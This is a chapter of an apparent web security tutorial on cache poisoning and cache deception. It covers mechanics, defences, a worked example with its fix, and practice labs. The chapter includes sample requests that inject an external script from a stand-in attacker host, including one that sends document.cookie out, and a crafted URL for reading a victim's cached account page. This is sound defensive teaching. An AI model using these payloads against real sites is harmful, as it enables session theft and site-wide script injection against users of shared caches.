Chapter 31 — Web cache poisoning and cache deception
In one sentence
Cache poisoning gets a harmful response stored under a key that many users share, so one attacker request serves malware/XSS/redirects to everyone; cache deception tricks the cache into storing someone else's private page where the attacker can read it.
Where we are
CDNs and reverse-proxy caches are everywhere. They key responses on part of the request (method + host + path + some params) and ignore the rest ("unkeyed" inputs). If an unkeyed input changes the response, the cache serves that response to everyone with the same key.
How it works
Cache poisoning:
1. Find an UNKEYED input that affects the response. Common ones:
X-Forwarded-Host / X-Host / X-Forwarded-Server -> reflected into
an absolute URL (a <script src>, a redirect, a link, an og:url).
X-Forwarded-Scheme / X-Forwarded-Proto -> http -> redirect loop /
downgrade / cached redirect to attacker.
X-Forwarded-For, User-Agent, Accept-Language, a cookie, an
obscure query param, a "fat GET" body.
(Find them with Burp Param Miner: "guess headers"/"guess params".)
2. Send a request with your key (the normal URL) + a malicious value in
the unkeyed input:
GET /en/ HTTP/1.1
Host: shop.securesh.op
X-Forwarded-Host: evil.attacker.net
Response reflects it:
<script src="//evil.attacker.net/a.js"></script>
The cache stores this under key (GET, shop.securesh.op, /en/).
3. Every subsequent visitor to /en/ gets your script. Persistent,
widespread XSS / defacement / redirect, until the cache entry
expires or is purged.
Variants: cache-key normalisation flaws (`/en?x=1` vs `/en?x=1&`),
parameter cloaking (`;`), keyed-param injection, cache-key injection
via encoded chars, "cache poisoning via header injection" chained with
Ch 30 smuggling (poison the shared cache with a smuggled response).
Cache deception:
The app routes on the PATH loosely; the cache decides "cacheable" from
the EXTENSION or a static path prefix. Discrepancy -> cache a private
page.
Attacker sends the victim (or the victim's browser follows) :
https://shop.securesh.op/account/profile/nonexistent.css
- The app (path handling / a permissive router / path parameters):
serves /account/profile for the LOGGED-IN victim.
- The CDN: "ends in .css -> static -> cache it" (or "/static/..." after
path normalisation differences, or a `;` path param, or an encoded
`%2f`).
- The attacker then requests the same URL (unauthenticated) and gets
the CACHED copy of the VICTIM'S profile page -- names, emails,
tokens, CSRF secrets.
2024 research (PortSwigger, "Gotta cache 'em all") expanded this with
path-normalisation and delimiter discrepancies between many CDN/origin
pairs.
Defence:
[ ] Do NOT cache responses that depend on unkeyed input. Either include
the input in the cache key, or strip it before it reaches the app,
or set `Cache-Control: no-store` / `private` on affected responses.
[ ] Authenticated / personalised responses: `Cache-Control: private,
no-store`; never cache anything with `Set-Cookie` or `Authorization`
in the request.
[ ] Don't derive cacheability from the file extension. Cache only
explicitly-marked static assets, ideally on a SEPARATE hostname
(static.securesh.op) that serves nothing dynamic and no cookies.
[ ] NORMALISE paths identically at the cache and the origin (encoded
slashes, dot segments, trailing chars, path parameters, `;`). Test
the specific CDN+origin pair.
[ ] Don't reflect request headers (esp. Host / X-Forwarded-*) into
response bodies or headers. Build absolute URLs from configured
values.
[ ] Vary: on any header that legitimately changes a cacheable response
(and accept the reduced hit rate).
[ ] Monitor: alert on cache entries serving unexpected external script
origins / redirects.
Worked example
X-Forwarded-Host to stored XSS via the cache, and the two-line fix.
/support/ renders:
<link rel="canonical" href="https://{{ request.x_forwarded_host or
request.host }}/support/">
and the CDN caches /support/ for 5 minutes.
Attack:
GET /support/ HTTP/1.1
Host: shop.securesh.op
X-Forwarded-Host: x"></link><script>fetch('//evil/'+document.cookie)</script>
Response cached with the injected script. Every visitor to /support/
for the next 5 minutes runs it.
FIX:
- The app builds canonical/absolute URLs from a CONFIGURED base URL,
never from a request header.
- The CDN strips X-Forwarded-* from client requests (only the LB adds
trusted ones) and does not include them in the cache key because
the app no longer varies on them.
- `Cache-Control: no-store` on any page that still reflects
user-influenced data.
Re-test with Param Miner: no unkeyed input affects /support/.
Practice (60 min)
- PortSwigger Academy "Web cache poisoning" track (unkeyed headers, unkeyed params, fat GET, cache-key flaws, normalisation, chaining) and "Web cache deception" track.
- Use Param Miner against a lab and a site you own to enumerate unkeyed inputs.
- Locally: a small app that reflects
X-Forwarded-Hostinto a<script src>, behind Varnish/nginx-cache/a CDN dev tier. Poison it; observe a second client getting the payload. Then apply the fixes and re-test. - Build a cache-deception repro: an app that serves
/accountfor/account/x.css, behind a cache that caches.css. Read the "victim" page as an unauthenticated attacker. Fix path normalisation +Cache-Control.
Across the series
- Build the cache and watch it leak: the HTTPS guide's
edgecachelab implementsCache-Control,Vary, and ETag revalidation. Removing one word (private) makes the cache serve Alice's balance to Bob, and its exercises include an unkeyed-header poisoning variant.
Common mistakes
- Caching authenticated/personalised pages.
Cache-Control: private, no-storeon anything user-specific; never cache withSet-Cookie. - Reflecting
Host/X-Forwarded-*into responses. Build URLs from config. - Cacheability by extension.
/account/x.cssisn't a stylesheet. Cache only explicitly-marked assets, ideally on a cookie-less static origin. - Assuming the cache and origin normalise paths the same way. They usually don't. Test the pair.
- Not stripping client-supplied
X-Forwarded-*. Only your LB should set them (this also matters for G1 Ch 31 and Ch 33). - No monitoring. A poisoned entry can serve to thousands before anyone notices.
Check yourself
- What is an "unkeyed input" and why does it enable cache poisoning?
- Name four inputs that are commonly unkeyed and harmful when reflected.
- How does cache deception differ from poisoning in goal and mechanism?
- Why is deriving cacheability from a file extension dangerous?
- Give four defences that between them neutralise both attacks.
Further reading
- Research: PortSwigger — "Practical Web Cache Poisoning" (2018), "Web Cache Entanglement" (2020), "Gotta cache 'em all" (2024) — James Kettle / Martin Doyhenard. Omer Gil — "Web Cache Deception Attack" (2017).
- Labs: PortSwigger Academy cache-poisoning and cache-deception tracks.
- Tools: Burp Param Miner;
Web Cache Vulnerability Scanner(Hackmanit). - Reference: RFC 9111 (HTTP Caching); the
Cache-Control/Vary/Agesemantics; your CDN's cache-key configuration docs.